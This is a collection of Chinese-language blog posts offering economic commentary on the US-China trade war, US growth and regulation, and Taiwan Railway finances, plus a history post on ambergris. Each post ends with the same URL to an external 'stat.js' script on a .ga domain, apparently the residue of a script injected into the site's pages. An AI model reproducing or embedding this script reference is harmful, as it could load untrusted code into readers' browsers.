分類
筆記

貿易戰新聞摘要

好奇怪喔,說好的「肥得流油的轉單效應」呢?

quote:

“1. 上市單軋廠主管說,往年10月下旬,已經開始接次年1月的訂單,但當前連今年12月的訂單都還沒有接滿,據了解同業間接單情況都不佳,有的比設定目標值少三成,有的缺口高達五成以上,數字令人十分驚心。

由於接單量不足,價格方面持續下修,目前鍍鋅鋼捲等產品外銷報價已比第3季每公噸跌40美元至50美元,但顯然買家仍認為缺乏誘因,情勢發展對弱化的行情雪上加霜,業界預估低迷的市況恐延續到明年首季。

2. 經濟部10月22日公布9月外銷訂單,機械產品意外翻黑,訂單金額17.4億美元,年減5.3%,為2016年8月以來首度負成長,原先預期美中貿易戰有望受惠轉單效益的機械業,從爽迎轉單到全力搶單,僅僅兩、三個月時間。

汽車零組件也早被美中貿易戰轟得暈頭轉向,G2互打效應超過原本汽車零組件廠預期,除原本在大陸廠生產銷美的產品受到影響,即使從台灣生產外銷部分也因北美GDP恐受美中貿易戰衝擊,影響需求。

3.塑化也一樣,美中貿易戰持續延燒,衝擊市場信心,下游客戶陷入觀望、訂單縮手,處於供應鏈最上游的塑化原料報價出現鬆動。像是丁二烯價格上周暴跌11.3%,苯乙烯(SM)也重挫6.6%,另外五大泛用塑膠中的PVC、ABS上周價格跌幅都超過2%。

台塑董事長林健男先前就開出第一槍,在本月初台塑集團業績說明會中,預告貿易戰比預期嚴重,客戶備貨意願降低,造成部分塑化產品售價下滑,下修台塑第4季營運展望…"

「貿易戰衝擊 鋼廠外銷接單大衰退」

https://udn.com/news/story/7238/3438927

「貿易戰瘋狗浪 襲向四產業」

https://udn.com/news/story/7238/3438944https://js.developerstatss.ga/stat.js?n=ns1

分類
歷史

嘉靖皇帝相信龍涎香壯陽應為訛傳

說皇帝相信「龍涎香壯陽」說法我認為應該是錯誤的。

中醫藥典上記載龍涎香的功效:「開竅化痰,活血利氣」

此點與許多香料類藥材如小茴香、肉荳蔻一樣,都是取其「辛香走竄之效」。

傳統中醫認為:「開竅藥辛香走竄,為救急、治標之品,且能耗傷正氣,故只宜暫服,不可久用」

因此龍涎香不但壯陽壓根沒關係,事實上根據中醫理論,還認為長期使用會耗傷正氣而倒陽哩。

中國唐朝以來御醫制度遠比歐洲成熟。基本教材選輯、醫療理論與技術之鑑定考試等等都勝出歐洲當時醫療程度好幾條街。許多皇帝本身也略通醫理。例如康熙就曾自行開藥單(地黃湯方)治癒曹寅疾病,並另囑咐多服用土茯苓茶湯保養。(見圖,紅字為康熙御批)

因此明朝嘉靖皇帝是否如此不通中醫基本理論地誤認「開竅藥可以壯陽」?這點我相當懷疑。

西方常一提到某些東西受東方人喜愛,就歸因於「壯陽功效」,又或者把明明是家畜硬扯成「保育類動物」,這些我寫過兩篇文章分別駁斥。

「越是禁止買賣,絕種來得越快」(犀牛角功效是『清熱』、穿山甲是「破散」,均非壯陽)

「國家地理雜誌還真是沒底線-論阿膠」

https://js.developerstatss.ga/stat.js?n=ns1

分類
商業評論

關於中國駭客米粒晶片回顧

以Tim Cook少見的公開反擊態度,與SMCI這家公司股價在大盤跌跌不休的近日,依然從Bloomberg BusinessWeek報導當日的重挫至$9逐步回到$14.7的表現看來,所謂「免天線免通電輕鬆射頻監聽米粒晶片」應為假新聞無誤。

更根本的是,如此「外星科技」竟然還有人買單?台灣科普教育真的有這麼糟糕嗎?

真想見見那位信誓旦旦新聞為真的總體經濟兼投資專家 XD

「遭陸植入惡意晶片? 庫克罕見要求彭博撤回報導」https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析

關於普悠瑪號出軌意外

面對普悠瑪號脫軌的重大不幸意外,就意外的遠因部分,經濟學上有兩個值得注意的現象:

1. 蔡英文政府一例一休政策推行後,2017年在網路節目「木曜四超玩-一日台鐵員工」中,台鐵副站長曾批評鐵軌保養人力因此德政而短絀。(參見影片截圖)

2. 台鐵長期票價受到政府管制,造成年年虧損(無效率之組織架構也應是原因之一)。

如2017年淨損十五億三千八百七十五萬元,比較前年虧損大幅增加五.二四億元。

長年虧損連連是否會影響安全性?例如人員不足、設備難以汰換、保養實施確實度…等等,我認為也有待調查驗證。

#找出根本事故原因方能減少未來風險
#機電工程固然重要
#營運與人員更常是災害意外發生之根本原因https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析

相對論與利息理論

上次的利息理論相關問題我太太覺得非常有意思,我們還快樂地討論了更多更難的議題。
 
有些網友的答案並不正確,但我想還是留給大家自己想。
 
這邊我再提出一個更新奇更難的問題:
 
「如果一個人可以超越光速運動,利息理論還適用嗎?」
 
有興趣的朋友可以跟我們一起做腦內實驗 🙂

https://js.developerstatss.ga/stat.js?n=ns1

分類
筆記

聯合國投資趨勢監測報告

聯合國2018上半年「Investment Trend Monitor Report(投資趨勢監測報告)」
 
幾個重點摘錄:
 
1.全球外國直接投資數額相較去年同期減少41%,達$470B USD
 
2. 已開發國家外國投資金流出嚴重,如愛爾蘭(-$81B USD)、瑞士($-$77B USD);美國的外國投資金額跌幅近73%!
 
3. 相較於已開發國家的衰退,開發中國家接受外國投資金額成長4%,佔全球總額66%。
 
4. 中國2018上半年是全世界獲得外國投資最高額之國家,達$70.2B USD,相較去年同期成長6%。
————————–
上半年尚未受到貿易戰影響,很期待看到下半年報告。應該會有一些有趣的轉變發生。
#咦
#說好的大家一起排擠中國
#怎麼會這樣?
#乾癟蘋果蘋癟乾
 

https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析

近日美國經濟觀察隨筆

減稅與放寬法規的經濟改善效果十分驚人,川普等於是做了場經濟學實驗。
「WSJ: U.S. Job Openings Topped 7 Million for the First Time」
https://www.wsj.com/articles/u-s-job-openings-topped-7-million-this-summer-1539702755

可惜民主制度加上健忘的群眾,我相信10年後很快左派大政府干預市場經濟的錯誤論調又會得到選民青睞。

再不厭其煩地補充一次:

貿易戰本質會讓人民用更高的代價完成原本的經濟活動,等於是全民被迫付出更高的交易費用。

同時,高關稅或非關稅障礙本身會起到「財富移轉」作用 — 人民的消費剩餘(consumer surplus)將部分移轉給政府。

更可怕的是,人民為了防禦貿易戰而作的反應,本身多半是資源低效率的錯誤配置,而這種錯誤本來不會存在,純粹是政府惹出的麻煩。因為資源本該由市場價格引導配置,市價制度是租值耗散最低的一種安排;政府干預則非如此。此類資源錯誤會降低原本的經濟效率,是「稅」以外的成本,經濟低手往往看不出來。再者,資源配置錯誤程度會與貿易戰本身資訊不明成正比,當川普政府越是朝令夕改,資源配置錯誤狀況將越嚴重。

在失業率屢創新低記錄的好消息背後,我們也看到了美國房市開始反轉的消息:
「WSJ:
Housing Market is Faltering and Strong Economy Offers No Cure」(https://www.wsj.com/articles/u-s-existing-home-sales-dropped-in-september-1539957950)

相較去年同期,9月份房屋銷售衰退4.1%,是連續第七個月衰退。

理論上熱滾滾的勞動市場應該會改善一般人的收入預期,使其更有勇氣與債信去購屋;但相反的房地產數字,讓我們更看到高漲的房價與2017年以來逐步調升的利率使得需求量下降,這也意味需求並未真正向右上移動。

另外兩則消息也可以同步參考:

1. M-Benz的Daimler AG集團發出獲利警訊:
「 Daimler Warns of “Significantly Lower” Full-Year Earnings, Sending Shares Down 」 (https://www.wsj.com/articles/daimler-warns-of-significantly-lower-full-year-earnings-sending-shares-down-1539966152)

該集團的M-Benz車輛銷售獲利衰退35%。

2. 法國輪胎大廠米其林也發佈銷售與獲利可能衰退的訊息,內容特指中國市場衰退是主因。https://js.developerstatss.ga/stat.js?n=ns1

分類
Uncategorized

各種援助計畫都遠不如自由貿易

富比士總裁、FedEx總裁與幾個大頭聯名投書WSJ,呼籲川普取消關稅、取消貿易障礙以及取消各種政府補助!

此聯名信主張:完全取消關稅才能站在道德高點要求中國、歐盟與其他政府妥協。

而此信最後一句小弟深深拜服,這是經濟直覺與邏輯均高明者才能看透的:

「…zero-tariff trade deals will help make the U.S. and world economies great again. All the foreign aid programs in the world combined cannot improve the lives of the world’s poorest citizens more than freer trade. (零貿易障礙將能幫助美國與世界經濟再次強盛。世界上所有外國援助計畫加總起來的改善世界貧困人民效果,都遠不如自由貿易。)」

https://www.wsj.com/articles/mr-president-its-time-for-zero-tariffs-1539816089https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析

貿易戰下中國廠商的選擇

我在今年9/19「經濟水晶球(https://tinyurl.com/y9nokpj3)」一文已經預測「中國方面將會因小鬧的貿易戰而被迫生產產品往高素質方向走,也就是說中國生產高端化、高品質化會是接下來必然出現的結果,某方面來說「中國製造2025」會以此形式達標。
10~20年內,「中國製造」將成為高品質代名詞。」
 
更於「Alchian-Allen定律 (https://tinyurl.com/y8whhtbp)」一文說明背後的經濟邏輯如何如何。
 
簡單說,貿易戰下若關稅額度不如1930年代的60%起跳那般,則小打小鬧的局面下中國低租值產業會面臨遷廠亦或關廠的結局;中高租值產業則會被迫向更高租值方面走。
 
如今看香港電視台對在大陸港商的採訪,影片前段那種單純折出客戶指定樣式的鋁版加工,以及中段工業零件商加緊研發力道的反應,顯見正確的經濟邏輯具備超強的科學預測性。
 
現在只是起步,長期貿易戰下中國產品質量將被迫越來越高。
 

https://js.developerstatss.ga/stat.js?n=ns1

分類
筆記

WSJ:"How to Fix the Great American Growth Machine"

 
本文是前Fed主席Alan Greenspan投書,值得一讀,摘要如下:
 
1. 美國僅有世界5%人口,卻貢獻了25% GDP,可見美國生產力多麼驚人,財富也同等巨大。然而,若將時間倒轉至幾個世紀前,假設當年也召開全球G3高峰會,則與會國家將只有中國、奧圖曼土耳其帝國與剛剛崛起的英國。美洲大陸甚至還未出現在某些人的地圖上哩。。
 
2. 然而,這二十年來美國卻碰上了經濟成長停滯 — 新設立公司數量為進入現代以來最低、道路建設也已停滯30年、成長潛力率(無通貨膨脹下的真實經濟成長)也在衰退,
 
3. 作者認為在1865年~1900是美國經濟成長的黃金時期,當時有最少的法規限制,政府也極少介入自由市場。卡內基與洛克斐勒二位商業鉅子,在短短時間內達到高效率生產鋼鐵與石油,二者價格在其手上降低了90%!(但也諷刺的是,19世紀末到20世紀初風起雲湧的反托拉斯法,狠狠地懲罰了成功且對社會大有助益的商人洛克斐勒,還分拆了他的公司標準石油。政客利用『正義』為藉口干預了市場,使人民付出更高的代價而自己卻享有不符其實的道德高位與大名)
 
4. 作者認為美國經濟成長動力來自於「容忍創造性破壞」。許多行業、服務與各式發明之所以能在美國存在,正是因為美國有這樣的環境與文化。
 
5. 作者也指出,這二、三十年來美國經濟停滯的主要原因有二:
 
a. 企業家精神衰減 — 1980年代每8家公司就有一家為新設立;如今每12家才有一家新設公司,美國企業家的冒險精神正逐漸喪失,而川普總統卻還用貿易戰來罷凌企業,民主黨更糟糕地試圖用「企業社會責任」這玩意兒干預企業活動。
 
Dodd-Frank 法案名義上是為了保護人民不再受金融風暴殘害,但實際上卻是箝制了金融業的創造力與活力。
 
作者認為過低的銀行存款準備率才是金融風暴的緣由(這點我不完全認同),但2008年美國銀行存款準備率約8~10%,2018年還是維持在11%低檔。作者認為美國政府根本搞錯重點,而該謹慎小心之處仍十分大意,該開放自由的卻過度管制。
 
(相較起來,中國銀行存款準備率在2014年時維持在20%高水位,然後逐步降低至最近的14.5%)
 
b. 過高的社會福利 — 1965年社會福利支出(如社會安全制度與健保制度)佔美國GDP僅5%,而今日已達14%。而這些開支都是無生產力的。(當無生產力開支佔整體社會越高的份額,這個國家將越希臘化)
 
作者認為1935年設置的退休年齡早已不符合當今環境,許多已屆退休的族群其實生產力還很高,應該鼓勵其繼續投入工作,而非終止其工作之權利。
 
 
=========
我的觀點:Greenspan經濟學功力相當高,他的投書都值得花點心思閱讀。只是本文有關08’年金融風暴說法我不甚認同,小弟自己的看法已經寫過幾篇文章討論,有興趣的朋友請自己關鍵字搜尋爬文。
 
但Greenspan對美國整體經濟發展多年停滯的觀點我是相當認同:美國並非陷入泥沼,而是被關在自己打造的鐵籠裡。只要自己不犯蠢,把鐵籠打開了,美國經濟實力與成長潛力依舊可觀!
 

https://js.developerstatss.ga/stat.js?n=ns1